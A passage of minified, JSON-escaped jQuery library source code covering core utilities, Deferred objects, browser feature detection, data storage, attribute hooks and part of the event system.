a.call(b,c,b)}))},end:function(){return this.prevObject||this.constructor(null)},push:F,sort:[].sort,splice:[].splice},e.fn.init.prototype=e.fn,e.extend=e.fn.extend=function(){var a,c,d,f,g,h,i=arguments[0]||{},j=1,k=arguments.length,l=!1;typeof i==\"boolean\"\u0026\u0026(l=i,i=arguments[1]||{},j=2),typeof i!=\"object\"\u0026\u0026!e.isFunction(i)\u0026\u0026(i={}),k===j\u0026\u0026(i=this,--j);for(;j\u003ck;j++)if((a=arguments[j])!=null)for(c in a){d=i[c],f=a[c];if(i===f)continue;l\u0026\u0026f\u0026\u0026(e.isPlainObject(f)||(g=e.isArray(f)))?(g?(g=!1,h=d\u0026\u0026e.isArray(d)?d:[]):h=d\u0026\u0026e.isPlainObject(d)?d:{},i[c]=e.extend(l,h,f)):f!==b\u0026\u0026(i[c]=f)}return i},e.extend({noConflict:function(b){a.$===e\u0026\u0026(a.$=g),b\u0026\u0026a.jQuery===e\u0026\u0026(a.jQuery=f);return e},isReady:!1,readyWait:1,holdReady:function(a){a?e.readyWait++:e.ready(!0)},ready:function(a){if(a===!0\u0026\u0026!--e.readyWait||a!==!0\u0026\u0026!e.isReady){if(!c.body)return setTimeout(e.ready,1);e.isReady=!0;if(a!==!0\u0026\u0026--e.readyWait\u003e0)return;B.resolveWith(c,[e]),e.fn.trigger\u0026\u0026e(c).trigger(\"ready\").unbind(\"ready\")}},bindReady:function(){if(!B){B=e._Deferred();if(c.readyState===\"complete\")return setTimeout(e.ready,1);if(c.addEventListener)c.addEventListener(\"DOMContentLoaded\",C,!1),a.addEventListener(\"load\",e.ready,!1);else if(c.attachEvent){c.attachEvent(\"onreadystatechange\",C),a.attachEvent(\"onload\",e.ready);var b=!1;try{b=a.frameElement==null}catch(d){}c.documentElement.doScroll\u0026\u0026b\u0026\u0026K()}}},isFunction:function(a){return e.type(a)===\"function\"},isArray:Array.isArray||function(a){return e.type(a)===\"array\"},isWindow:function(a){return a\u0026\u0026typeof a==\"object\"\u0026\u0026\"setInterval\"in a},isNaN:function(a){return a==null||!m.test(a)||isNaN(a)},type:function(a){return a==null?String(a):J[D.call(a)]||\"object\"},isPlainObject:function(a){if(!a||e.type(a)!==\"object\"||a.nodeType||e.isWindow(a))return!1;try{if(a.constructor\u0026\u0026!E.call(a,\"constructor\")\u0026\u0026!E.call(a.constructor.prototype,\"isPrototypeOf\"))return!1}catch(c){return!1}var d;for(d in a);return d===b||E.call(a,d)},isEmptyObject:function(a){for(var b in a)return!1;return!0},error:function(a){throw a},parseJSON:function(b){if(typeof b!=\"string\"||!b)return null;b=e.trim(b);if(a.JSON\u0026\u0026a.JSON.parse)return a.JSON.parse(b);if(o.test(b.replace(p,\"@\").replace(q,\"]\").replace(r,\"\")))return(new Function(\"return \"+b))();e.error(\"Invalid JSON: \"+b)},parseXML:function(c){var d,f;try{a.DOMParser?(f=new DOMParser,d=f.parseFromString(c,\"text/xml\")):(d=new ActiveXObject(\"Microsoft.XMLDOM\"),d.async=\"false\",d.loadXML(c))}catch(g){d=b}(!d||!d.documentElement||d.getElementsByTagName(\"parsererror\").length)\u0026\u0026e.error(\"Invalid XML: \"+c);return d},noop:function(){},globalEval:function(b){b\u0026\u0026j.test(b)\u0026\u0026(a.execScript||function(b){a.eval.call(a,b)})(b)},camelCase:function(a){return a.replace(x,\"ms-\").replace(w,y)},nodeName:function(a,b){return a.nodeName\u0026\u0026a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,c,d){var f,g=0,h=a.length,i=h===b||e.isFunction(a);if(d){if(i){for(f in a)if(c.apply(a[f],d)===!1)break}else for(;g\u003ch;)if(c.apply(a[g++],d)===!1)break}else if(i){for(f in a)if(c.call(a[f],f,a[f])===!1)break}else for(;g\u003ch;)if(c.call(a[g],g,a[g++])===!1)break;return a},trim:H?function(a){return a==null?\"\":H.call(a)}:function(a){return a==null?\"\":(a+\"\").replace(k,\"\").replace(l,\"\")},makeArray:function(a,b){var c=b||[];if(a!=null){var d=e.type(a);a.length==null||d===\"string\"||d===\"function\"||d===\"regexp\"||e.isWindow(a)?F.call(c,a):e.merge(c,a)}return c},inArray:function(a,b){if(!b)return-1;if(I)return I.call(b,a);for(var c=0,d=b.length;c\u003cd;c++)if(b[c]===a)return c;return-1},merge:function(a,c){var d=a.length,e=0;if(typeof c.length==\"number\")for(var f=c.length;e\u003cf;e++)a[d++]=c[e];else while(c[e]!==b)a[d++]=c[e++];a.length=d;return a},grep:function(a,b,c){var d=[],e;c=!!c;for(var f=0,g=a.length;f\u003cg;f++)e=!!b(a[f],f),c!==e\u0026\u0026d.push(a[f]);return d},map:function(a,c,d){var f,g,h=[],i=0,j=a.length,k=a instanceof e||j!==b\u0026\u0026typeof j==\"number\"\u0026\u0026(j\u003e0\u0026\u0026a[0]\u0026\u0026a[j-1]||j===0||e.isArray(a));if(k)for(;i\u003cj;i++)f=c(a[i],i,d),f!=null\u0026\u0026(h[h.length]=f);else for(g in a)f=c(a[g],g,d),f!=null\u0026\u0026(h[h.length]=f);return h.concat.apply([],h)},guid:1,proxy:function(a,c){if(typeof c==\"string\"){var d=a[c];c=a,a=d}if(!e.isFunction(a))return b;var f=G.call(arguments,2),g=function(){return a.apply(c,f.concat(G.call(arguments)))};g.guid=a.guid=a.guid||g.guid||e.guid++;return g},access:function(a,c,d,f,g,h){var i=a.length;if(typeof c==\"object\"){for(var j in c)e.access(a,j,c[j],f,g,d);return a}if(d!==b){f=!h\u0026\u0026f\u0026\u0026e.isFunction(d);for(var k=0;k\u003ci;k++)g(a[k],c,f?d.call(a[k],k,g(a[k],c)):d,h);return a}return i?g(a[0],c):b},now:function(){return(new Date).getTime()},uaMatch:function(a){a=a.toLowerCase();var b=s.exec(a)||t.exec(a)||u.exec(a)||a.indexOf(\"compatible\")\u003c0\u0026\u0026v.exec(a)||[];return{browser:b[1]||\"\",version:b[2]||\"0\"}},sub:function(){function a(b,c){return new a.fn.init(b,c)}e.extend(!0,a,this),a.superclass=this,a.fn=a.prototype=this(),a.fn.constructor=a,a.sub=this.sub,a.fn.init=function(d,f){f\u0026\u0026f instanceof e\u0026\u0026!(f instanceof a)\u0026\u0026(f=a(f));return e.fn.init.call(this,d,f,b)},a.fn.init.prototype=a.fn;var b=a(c);return a},browser:{}}),e.each(\"Boolean Number String Function Array Date RegExp Object\".split(\" \"),function(a,b){J[\"[object \"+b+\"]\"]=b.toLowerCase()}),A=e.uaMatch(z),A.browser\u0026\u0026(e.browser[A.browser]=!0,e.browser.version=A.version),e.browser.webkit\u0026\u0026(e.browser.safari=!0),j.test(\" \")\u0026\u0026(k=/^[\\s\\xA0]+/,l=/[\\s\\xA0]+$/),h=e(c),c.addEventListener?C=function(){c.removeEventListener(\"DOMContentLoaded\",C,!1),e.ready()}:c.attachEvent\u0026\u0026(C=function(){c.readyState===\"complete\"\u0026\u0026(c.detachEvent(\"onreadystatechange\",C),e.ready())});return e}(),g=\"done fail isResolved isRejected promise then always pipe\".split(\" \"),h=[].slice;f.extend({_Deferred:function(){var a=[],b,c,d,e={done:function(){if(!d){var c=arguments,g,h,i,j,k;b\u0026\u0026(k=b,b=0);for(g=0,h=c.length;g\u003ch;g++)i=c[g],j=f.type(i),j===\"array\"?e.done.apply(e,i):j===\"function\"\u0026\u0026a.push(i);k\u0026\u0026e.resolveWith(k[0],k[1])}return this},resolveWith:function(e,f){if(!d\u0026\u0026!b\u0026\u0026!c){f=f||[],c=1;try{while(a[0])a.shift().apply(e,f)}finally{b=[e,f],c=0}}return this},resolve:function(){e.resolveWith(this,arguments);return this},isResolved:function(){return!!c||!!b},cancel:function(){d=1,a=[];return this}};return e},Deferred:function(a){var b=f._Deferred(),c=f._Deferred(),d;f.extend(b,{then:function(a,c){b.done(a).fail(c);return this},always:function(){return b.done.apply(b,arguments).fail.apply(this,arguments)},fail:c.done,rejectWith:c.resolveWith,reject:c.resolve,isRejected:c.isResolved,pipe:function(a,c){return f.Deferred(function(d){f.each({done:[a,\"resolve\"],fail:[c,\"reject\"]},function(a,c){var e=c[0],g=c[1],h;f.isFunction(e)?b[a](function(){h=e.apply(this,arguments),h\u0026\u0026f.isFunction(h.promise)?h.promise().then(d.resolve,d.reject):d[g+\"With\"](this===b?d:this,[h])}):b[a](d[g])})}).promise()},promise:function(a){if(a==null){if(d)return d;d=a={}}var c=g.length;while(c--)a[g[c]]=b[g[c]];return a}}),b.done(c.cancel).fail(b.cancel),delete b.cancel,a\u0026\u0026a.call(b,b);return b},when:function(a){function i(a){return function(c){b[a]=arguments.length\u003e1?h.call(arguments,0):c,--e||g.resolveWith(g,h.call(b,0))}}var b=arguments,c=0,d=b.length,e=d,g=d\u003c=1\u0026\u0026a\u0026\u0026f.isFunction(a.promise)?a:f.Deferred();if(d\u003e1){for(;c\u003cd;c++)b[c]\u0026\u0026f.isFunction(b[c].promise)?b[c].promise().then(i(c),g.reject):--e;e||g.resolveWith(g,b)}else g!==a\u0026\u0026g.resolveWith(g,d?[a]:[]);return g.promise()}}),f.support=function(){var a=c.createElement(\"div\"),b=c.documentElement,d,e,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u;a.setAttribute(\"className\",\"t\"),a.innerHTML=\" \u003clink/\u003e\u003ctable\u003e\u003c/table\u003e\u003ca href='/a' style='top:1px;float:left;opacity:.55;'\u003ea\u003c/a\u003e\u003cinput type='checkbox'/\u003e\",d=a.getElementsByTagName(\"*\"),e=a.getElementsByTagName(\"a\")[0];if(!d||!d.length||!e)return{};g=c.createElement(\"select\"),h=g.appendChild(c.createElement(\"option\")),i=a.getElementsByTagName(\"input\")[0],k={leadingWhitespace:a.firstChild.nodeType===3,tbody:!a.getElementsByTagName(\"tbody\").length,htmlSerialize:!!a.getElementsByTagName(\"link\").length,style:/top/.test(e.getAttribute(\"style\")),hrefNormalized:e.getAttribute(\"href\")===\"/a\",opacity:/^0.55$/.test(e.style.opacity),cssFloat:!!e.style.cssFloat,checkOn:i.value===\"on\",optSelected:h.selected,getSetAttribute:a.className!==\"t\",submitBubbles:!0,changeBubbles:!0,focusinBubbles:!1,deleteExpando:!0,noCloneEvent:!0,inlineBlockNeedsLayout:!1,shrinkWrapBlocks:!1,reliableMarginRight:!0},i.checked=!0,k.noCloneChecked=i.cloneNode(!0).checked,g.disabled=!0,k.optDisabled=!h.disabled;try{delete a.test}catch(v){k.deleteExpando=!1}!a.addEventListener\u0026\u0026a.attachEvent\u0026\u0026a.fireEvent\u0026\u0026(a.attachEvent(\"onclick\",function(){k.noCloneEvent=!1}),a.cloneNode(!0).fireEvent(\"onclick\")),i=c.createElement(\"input\"),i.value=\"t\",i.setAttribute(\"type\",\"radio\"),k.radioValue=i.value===\"t\",i.setAttribute(\"checked\",\"checked\"),a.appendChild(i),l=c.createDocumentFragment(),l.appendChild(a.firstChild),k.checkClone=l.cloneNode(!0).cloneNode(!0).lastChild.checked,a.innerHTML=\"\",a.style.width=a.style.paddingLeft=\"1px\",m=c.getElementsByTagName(\"body\")[0],o=c.createElement(m?\"div\":\"body\"),p={visibility:\"hidden\",width:0,height:0,border:0,margin:0,background:\"none\"},m\u0026\u0026f.extend(p,{position:\"absolute\",left:\"-1000px\",top:\"-1000px\"});for(t in p)o.style[t]=p[t];o.appendChild(a),n=m||b,n.insertBefore(o,n.firstChild),k.appendChecked=i.checked,k.boxModel=a.offsetWidth===2,\"zoom\"in a.style\u0026\u0026(a.style.display=\"inline\",a.style.zoom=1,k.inlineBlockNeedsLayout=a.offsetWidth===2,a.style.display=\"\",a.innerHTML=\"\u003cdiv style='width:4px;'\u003e\u003c/div\u003e\",k.shrinkWrapBlocks=a.offsetWidth!==2),a.innerHTML=\"\u003ctable\u003e\u003ctr\u003e\u003ctd style='padding:0;border:0;display:none'\u003e\u003c/td\u003e\u003ctd\u003et\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\",q=a.getElementsByTagName(\"td\"),u=q[0].offsetHeight===0,q[0].style.display=\"\",q[1].style.display=\"none\",k.reliableHiddenOffsets=u\u0026\u0026q[0].offsetHeight===0,a.innerHTML=\"\",c.defaultView\u0026\u0026c.defaultView.getComputedStyle\u0026\u0026(j=c.createElement(\"div\"),j.style.width=\"0\",j.style.marginRight=\"0\",a.appendChild(j),k.reliableMarginRight=(parseInt((c.defaultView.getComputedStyle(j,null)||{marginRight:0}).marginRight,10)||0)===0),o.innerHTML=\"\",n.removeChild(o);if(a.attachEvent)for(t in{submit:1,change:1,focusin:1})s=\"on\"+t,u=s in a,u||(a.setAttribute(s,\"return;\"),u=typeof a[s]==\"function\"),k[t+\"Bubbles\"]=u;o=l=g=h=m=j=a=i=null;return k}(),f.boxModel=f.support.boxModel;var i=/^(?:\\{.*\\}|\\[.*\\])$/,j=/([A-Z])/g;f.extend({cache:{},uuid:0,expando:\"jQuery\"+(f.fn.jquery+Math.random()).replace(/\\D/g,\"\"),noData:{embed:!0,object:\"clsid:D27CDB6E-AE6D-11cf-96B8-444553540000\",applet:!0},hasData:function(a){a=a.nodeType?f.cache[a[f.expando]]:a[f.expando];return!!a\u0026\u0026!l(a)},data:function(a,c,d,e){if(!!f.acceptData(a)){var g,h,i=f.expando,j=typeof c==\"string\",k=a.nodeType,l=k?f.cache:a,m=k?a[f.expando]:a[f.expando]\u0026\u0026f.expando;if((!m||e\u0026\u0026m\u0026\u0026l[m]\u0026\u0026!l[m][i])\u0026\u0026j\u0026\u0026d===b)return;m||(k?a[f.expando]=m=++f.uuid:m=f.expando),l[m]||(l[m]={},k||(l[m].toJSON=f.noop));if(typeof c==\"object\"||typeof c==\"function\")e?l[m][i]=f.extend(l[m][i],c):l[m]=f.extend(l[m],c);g=l[m],e\u0026\u0026(g[i]||(g[i]={}),g=g[i]),d!==b\u0026\u0026(g[f.camelCase(c)]=d);if(c===\"events\"\u0026\u0026!g[c])return g[i]\u0026\u0026g[i].events;j?(h=g[c],h==null\u0026\u0026(h=g[f.camelCase(c)])):h=g;return h}},removeData:function(a,b,c){if(!!f.acceptData(a)){var d,e=f.expando,g=a.nodeType,h=g?f.cache:a,i=g?a[f.expando]:f.expando;if(!h[i])return;if(b){d=c?h[i][e]:h[i];if(d){d[b]||(b=f.camelCase(b)),delete d[b];if(!l(d))return}}if(c){delete h[i][e];if(!l(h[i]))return}var j=h[i][e];f.support.deleteExpando||!h.setInterval?delete h[i]:h[i]=null,j?(h[i]={},g||(h[i].toJSON=f.noop),h[i][e]=j):g\u0026\u0026(f.support.deleteExpando?delete a[f.expando]:a.removeAttribute?a.removeAttribute(f.expando):a[f.expando]=null)}},_data:function(a,b,c){return f.data(a,b,c,!0)},acceptData:function(a){if(a.nodeName){var b=f.noData[a.nodeName.toLowerCase()];if(b)return b!==!0\u0026\u0026a.getAttribute(\"classid\")===b}return!0}}),f.fn.extend({data:function(a,c){var d=null;if(typeof a==\"undefined\"){if(this.length){d=f.data(this[0]);if(this[0].nodeType===1){var e=this[0].attributes,g;for(var h=0,i=e.length;h\u003ci;h++)g=e[h].name,g.indexOf(\"data-\")===0\u0026\u0026(g=f.camelCase(g.substring(5)),k(this[0],g,d[g]))}}return d}if(typeof a==\"object\")return this.each(function(){f.data(this,a)});var j=a.split(\".\");j[1]=j[1]?\".\"+j[1]:\"\";if(c===b){d=this.triggerHandler(\"getData\"+j[1]+\"!\",[j[0]]),d===b\u0026\u0026this.length\u0026\u0026(d=f.data(this[0],a),d=k(this[0],a,d));return d===b\u0026\u0026j[1]?this.data(j[0]):d}return this.each(function(){var b=f(this),d=[j[0],c];b.triggerHandler(\"setData\"+j[1]+\"!\",d),f.data(this,a,c),b.triggerHandler(\"changeData\"+j[1]+\"!\",d)})},removeData:function(a){return this.each(function(){f.removeData(this,a)})}}),f.extend({_mark:function(a,c){a\u0026\u0026(c=(c||\"fx\")+\"mark\",f.data(a,c,(f.data(a,c,b,!0)||0)+1,!0))},_unmark:function(a,c,d){a!==!0\u0026\u0026(d=c,c=a,a=!1);if(c){d=d||\"fx\";var e=d+\"mark\",g=a?0:(f.data(c,e,b,!0)||1)-1;g?f.data(c,e,g,!0):(f.removeData(c,e,!0),m(c,d,\"mark\"))}},queue:function(a,c,d){if(a){c=(c||\"fx\")+\"queue\";var e=f.data(a,c,b,!0);d\u0026\u0026(!e||f.isArray(d)?e=f.data(a,c,f.makeArray(d),!0):e.push(d));return e||[]}},dequeue:function(a,b){b=b||\"fx\";var c=f.queue(a,b),d=c.shift(),e;d===\"inprogress\"\u0026\u0026(d=c.shift()),d\u0026\u0026(b===\"fx\"\u0026\u0026c.unshift(\"inprogress\"),d.call(a,function(){f.dequeue(a,b)})),c.length||(f.removeData(a,b+\"queue\",!0),m(a,b,\"queue\"))}}),f.fn.extend({queue:function(a,c){typeof a!=\"string\"\u0026\u0026(c=a,a=\"fx\");if(c===b)return f.queue(this[0],a);return this.each(function(){var b=f.queue(this,a,c);a===\"fx\"\u0026\u0026b[0]!==\"inprogress\"\u0026\u0026f.dequeue(this,a)})},dequeue:function(a){return this.each(function(){f.dequeue(this,a)})},delay:function(a,b){a=f.fx?f.fx.speeds[a]||a:a,b=b||\"fx\";return this.queue(b,function(){var c=this;setTimeout(function(){f.dequeue(c,b)},a)})},clearQueue:function(a){return this.queue(a||\"fx\",[])},promise:function(a,c){function m(){--h||d.resolveWith(e,[e])}typeof a!=\"string\"\u0026\u0026(c=a,a=b),a=a||\"fx\";var d=f.Deferred(),e=this,g=e.length,h=1,i=a+\"defer\",j=a+\"queue\",k=a+\"mark\",l;while(g--)if(l=f.data(e[g],i,b,!0)||(f.data(e[g],j,b,!0)||f.data(e[g],k,b,!0))\u0026\u0026f.data(e[g],i,f._Deferred(),!0))h++,l.done(m);m();return d.promise()}});var n=/[\\n\\t\\r]/g,o=/\\s+/,p=/\\r/g,q=/^(?:button|input)$/i,r=/^(?:button|input|object|select|textarea)$/i,s=/^a(?:rea)?$/i,t=/^(?:autofocus|autoplay|async|checked|controls|defer|disabled|hidden|loop|multiple|open|readonly|required|scoped|selected)$/i,u,v;f.fn.extend({attr:function(a,b){return f.access(this,a,b,!0,f.attr)},removeAttr:function(a){return this.each(function(){f.removeAttr(this,a)})},prop:function(a,b){return f.access(this,a,b,!0,f.prop)},removeProp:function(a){a=f.propFix[a]||a;return this.each(function(){try{this[a]=b,delete this[a]}catch(c){}})},addClass:function(a){var b,c,d,e,g,h,i;if(f.isFunction(a))return this.each(function(b){f(this).addClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"){b=a.split(o);for(c=0,d=this.length;c\u003cd;c++){e=this[c];if(e.nodeType===1)if(!e.className\u0026\u0026b.length===1)e.className=a;else{g=\" \"+e.className+\" \";for(h=0,i=b.length;h\u003ci;h++)~g.indexOf(\" \"+b[h]+\" \")||(g+=b[h]+\" \");e.className=f.trim(g)}}}return this},removeClass:function(a){var c,d,e,g,h,i,j;if(f.isFunction(a))return this.each(function(b){f(this).removeClass(a.call(this,b,this.className))});if(a\u0026\u0026typeof a==\"string\"||a===b){c=(a||\"\").split(o);for(d=0,e=this.length;d\u003ce;d++){g=this[d];if(g.nodeType===1\u0026\u0026g.className)if(a){h=(\" \"+g.className+\" \").replace(n,\" \");for(i=0,j=c.length;i\u003cj;i++)h=h.replace(\" \"+c[i]+\" \",\" \");g.className=f.trim(h)}else g.className=\"\"}}return this},toggleClass:function(a,b){var c=typeof a,d=typeof b==\"boolean\";if(f.isFunction(a))return this.each(function(c){f(this).toggleClass(a.call(this,c,this.className,b),b)});return this.each(function(){if(c===\"string\"){var e,g=0,h=f(this),i=b,j=a.split(o);while(e=j[g++])i=d?i:!h.hasClass(e),h[i?\"addClass\":\"removeClass\"](e)}else if(c===\"undefined\"||c===\"boolean\")this.className\u0026\u0026f._data(this,\"__className__\",this.className),this.className=this.className||a===!1?\"\":f._data(this,\"__className__\")||\"\"})},hasClass:function(a){var b=\" \"+a+\" \";for(var c=0,d=this.length;c\u003cd;c++)if(this[c].nodeType===1\u0026\u0026(\" \"+this[c].className+\" \").replace(n,\" \").indexOf(b)\u003e-1)return!0;return!1},val:function(a){var c,d,e=this[0];if(!arguments.length){if(e){c=f.valHooks[e.nodeName.toLowerCase()]||f.valHooks[e.type];if(c\u0026\u0026\"get\"in c\u0026\u0026(d=c.get(e,\"value\"))!==b)return d;d=e.value;return typeof d==\"string\"?d.replace(p,\"\"):d==null?\"\":d}return b}var g=f.isFunction(a);return this.each(function(d){var e=f(this),h;if(this.nodeType===1){g?h=a.call(this,d,e.val()):h=a,h==null?h=\"\":typeof h==\"number\"?h+=\"\":f.isArray(h)\u0026\u0026(h=f.map(h,function(a){return a==null?\"\":a+\"\"})),c=f.valHooks[this.nodeName.toLowerCase()]||f.valHooks[this.type];if(!c||!(\"set\"in c)||c.set(this,h,\"value\")===b)this.value=h}})}}),f.extend({valHooks:{option:{get:function(a){var b=a.attributes.value;return!b||b.specified?a.value:a.text}},select:{get:function(a){var b,c=a.selectedIndex,d=[],e=a.options,g=a.type===\"select-one\";if(c\u003c0)return null;for(var h=g?c:0,i=g?c+1:e.length;h\u003ci;h++){var j=e[h];if(j.selected\u0026\u0026(f.support.optDisabled?!j.disabled:j.getAttribute(\"disabled\")===null)\u0026\u0026(!j.parentNode.disabled||!f.nodeName(j.parentNode,\"optgroup\"))){b=f(j).val();if(g)return b;d.push(b)}}if(g\u0026\u0026!d.length\u0026\u0026e.length)return f(e[c]).val();return d},set:function(a,b){var c=f.makeArray(b);f(a).find(\"option\").each(function(){this.selected=f.inArray(f(this).val(),c)\u003e=0}),c.length||(a.selectedIndex=-1);return c}}},attrFn:{val:!0,css:!0,html:!0,text:!0,data:!0,width:!0,height:!0,offset:!0},attrFix:{tabindex:\"tabIndex\"},attr:function(a,c,d,e){var g=a.nodeType;if(!a||g===3||g===8||g===2)return b;if(e\u0026\u0026c in f.attrFn)return f(a)[c](d);if(!(\"getAttribute\"in a))return f.prop(a,c,d);var h,i,j=g!==1||!f.isXMLDoc(a);j\u0026\u0026(c=f.attrFix[c]||c,i=f.attrHooks[c],i||(t.test(c)?i=v:u\u0026\u0026(i=u)));if(d!==b){if(d===null){f.removeAttr(a,c);return b}if(i\u0026\u0026\"set\"in i\u0026\u0026j\u0026\u0026(h=i.set(a,d,c))!==b)return h;a.setAttribute(c,\"\"+d);return d}if(i\u0026\u0026\"get\"in i\u0026\u0026j\u0026\u0026(h=i.get(a,c))!==null)return h;h=a.getAttribute(c);return h===null?b:h},removeAttr:function(a,b){var c;a.nodeType===1\u0026\u0026(b=f.attrFix[b]||b,f.attr(a,b,\"\"),a.removeAttribute(b),t.test(b)\u0026\u0026(c=f.propFix[b]||b)in a\u0026\u0026(a[c]=!1))},attrHooks:{type:{set:function(a,b){if(q.test(a.nodeName)\u0026\u0026a.parentNode)f.error(\"type property can't be changed\");else if(!f.support.radioValue\u0026\u0026b===\"radio\"\u0026\u0026f.nodeName(a,\"input\")){var c=a.value;a.setAttribute(\"type\",b),c\u0026\u0026(a.value=c);return b}}},value:{get:function(a,b){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.get(a,b);return b in a?a.value:null},set:function(a,b,c){if(u\u0026\u0026f.nodeName(a,\"button\"))return u.set(a,b,c);a.value=b}}},propFix:{tabindex:\"tabIndex\",readonly:\"readOnly\",\"for\":\"htmlFor\",\"class\":\"className\",maxlength:\"maxLength\",cellspacing:\"cellSpacing\",cellpadding:\"cellPadding\",rowspan:\"rowSpan\",colspan:\"colSpan\",usemap:\"useMap\",frameborder:\"frameBorder\",contenteditable:\"contentEditable\"},prop:function(a,c,d){var e=a.nodeType;if(!a||e===3||e===8||e===2)return b;var g,h,i=e!==1||!f.isXMLDoc(a);i\u0026\u0026(c=f.propFix[c]||c,h=f.propHooks[c]);return d!==b?h\u0026\u0026\"set\"in h\u0026\u0026(g=h.set(a,d,c))!==b?g:a[c]=d:h\u0026\u0026\"get\"in h\u0026\u0026(g=h.get(a,c))!==null?g:a[c]},propHooks:{tabIndex:{get:function(a){var c=a.getAttributeNode(\"tabindex\");return c\u0026\u0026c.specified?parseInt(c.value,10):r.test(a.nodeName)||s.test(a.nodeName)\u0026\u0026a.href?0:b}}}}),f.attrHooks.tabIndex=f.propHooks.tabIndex,v={get:function(a,c){var d;return f.prop(a,c)===!0||(d=a.getAttributeNode(c))\u0026\u0026d.nodeValue!==!1?c.toLowerCase():b},set:function(a,b,c){var d;b===!1?f.removeAttr(a,c):(d=f.propFix[c]||c,d in a\u0026\u0026(a[d]=!0),a.setAttribute(c,c.toLowerCase()));return c}},f.support.getSetAttribute||(u=f.valHooks.button={get:function(a,c){var d;d=a.getAttributeNode(c);return d\u0026\u0026d.nodeValue!==\"\"?d.nodeValue:b},set:function(a,b,d){var e=a.getAttributeNode(d);e||(e=c.createAttribute(d),a.setAttributeNode(e));return e.nodeValue=b+\"\"}},f.each([\"width\",\"height\"],function(a,b){f.attrHooks[b]=f.extend(f.attrHooks[b],{set:function(a,c){if(c===\"\"){a.setAttribute(b,\"auto\");return c}}})})),f.support.hrefNormalized||f.each([\"href\",\"src\",\"width\",\"height\"],function(a,c){f.attrHooks[c]=f.extend(f.attrHooks[c],{get:function(a){var d=a.getAttribute(c,2);return d===null?b:d}})}),f.support.style||(f.attrHooks.style={get:function(a){return a.style.cssText.toLowerCase()||b},set:function(a,b){return a.style.cssText=\"\"+b}}),f.support.optSelected||(f.propHooks.selected=f.extend(f.propHooks.selected,{get:function(a){var b=a.parentNode;b\u0026\u0026(b.selectedIndex,b.parentNode\u0026\u0026b.parentNode.selectedIndex);return null}})),f.support.checkOn||f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]={get:function(a){return a.getAttribute(\"value\")===null?\"on\":a.value}}}),f.each([\"radio\",\"checkbox\"],function(){f.valHooks[this]=f.extend(f.valHooks[this],{set:function(a,b){if(f.isArray(b))return a.checked=f.inArray(f(a).val(),b)\u003e=0}})});var w=/\\.(.*)$/,x=/^(?:textarea|input|select)$/i,y=/\\./g,z=/ /g,A=/[^\\w\\s.|`]/g,B=function(a){return a.replace(A,\"\\\\$\u0026\")};f.event={add:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){if(d===!1)d=C;else if(!d)return;var g,h;d.handler\u0026\u0026(g=d,d=g.handler),d.guid||(d.guid=f.guid++);var i=f._data(a);if(!i)return;var j=i.events,k=i.handle;j||(i.events=j={}),k||(i.handle=k=function(a){return typeof f!=\"undefined\"\u0026\u0026(!a||f.event.triggered!==a.type)?f.event.handle.apply(k.elem,arguments):b}),k.elem=a,c=c.split(\" \");var l,m=0,n;while(l=c[m++]){h=g?f.extend({},g):{handler:d,data:e},l.indexOf(\".\")\u003e-1?(n=l.split(\".\"),l=n.shift(),h.namespace=n.slice(0).sort().join(\".\")):(n=[],h.namespace=\"\"),h.type=l,h.guid||(h.guid=d.guid);var o=j[l],p=f.event.special[l]||{};if(!o){o=j[l]=[];if(!p.setup||p.setup.call(a,e,n,k)===!1)a.addEventListener?a.addEventListener(l,k,!1):a.attachEvent\u0026\u0026a.attachEvent(\"on\"+l,k)}p.add\u0026\u0026(p.add.call(a,h),h.handler.guid||(h.handler.guid=d.guid)),o.push(h),f.event.global[l]=!0}a=null}},global:{},remove:function(a,c,d,e){if(a.nodeType!==3\u0026\u0026a.nodeType!==8){d===!1\u0026\u0026(d=C);var g,h,i,j,k=0,l,m,n,o,p,q,r,s=f.hasData(a)\u0026\u0026f._data(a),t=s\u0026\u0026s.events;if(!s||!t)return;c\u0026\u0026c.type\u0026\u0026(d=c.handler,c=c.type);if(!c||typeof c==\"string\"\u0026\u0026c.charAt(0)===\".\"){c=c||\"\";for(h in t)f.event.remove(a,h+c);return}c=c.split(\" \");while(h=c[k++]){r=h,q=null,l=h.indexOf(\".\")\u003c0,m=[],l||(m=h.split(\".\"),h=m.shift(),n=new RegExp(\"(^|\\\\.)\"+f.map(m.slice(0).sort(),B).join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\")),p=t[h];if(!p)continue;if(!d){for(j=0;j\u003cp.length;j++){q=p[j];if(l||n.test(q.namespace))f.event.remove(a,r,q.handler,j),p.splice(j--,1)}continue}o=f.event.special[h]||{};for(j=e||0;j\u003cp.length;j++){q=p[j];if(d.guid===q.guid){if(l||n.test(q.namespace))e==null\u0026\u0026p.splice(j--,1),o.remove\u0026\u0026o.remove.call(a,q);if(e!=null)break}}if(p.length===0||e!=null\u0026\u0026p.length===1)(!o.teardown||o.teardown.call(a,m)===!1)\u0026\u0026f.removeEvent(a,h,s.handle),g=null,delete \nt[h]}if(f.isEmptyObject(t)){var u=s.handle;u\u0026\u0026(u.elem=null),delete s.events,delete s.handle,f.isEmptyObject(s)\u0026\u0026f.removeData(a,b,!0)}}},customEvent:{getData:!0,setData:!0,changeData:!0},trigger:function(c,d,e,g){var h=c.type||c,i=[],j;h.indexOf(\"!\")\u003e=0\u0026\u0026(h=h.slice(0,-1),j=!0),h.indexOf(\".\")\u003e=0\u0026\u0026(i=h.split(\".\"),h=i.shift(),i.sort());if(!!e\u0026\u0026!f.event.customEvent[h]||!!f.event.global[h]){c=typeof c==\"object\"?c[f.expando]?c:new f.Event(h,c):new f.Event(h),c.type=h,c.exclusive=j,c.namespace=i.join(\".\"),c.namespace_re=new RegExp(\"(^|\\\\.)\"+i.join(\"\\\\.(?:.*\\\\.)?\")+\"(\\\\.|$)\");if(g||!e)c.preventDefault(),c.stopPropagation();if(!e){f.each(f.cache,function(){var a=f.expando,b=this[a];b\u0026\u0026b.events\u0026\u0026b.events[h]\u0026\u0026f.event.trigger(c,d,b.handle.elem)});return}if(e.nodeType===3||e.nodeType===8)return;c.result=b,c.target=e,d=d!=null?f.makeArray(d):[],d.unshift(c);var 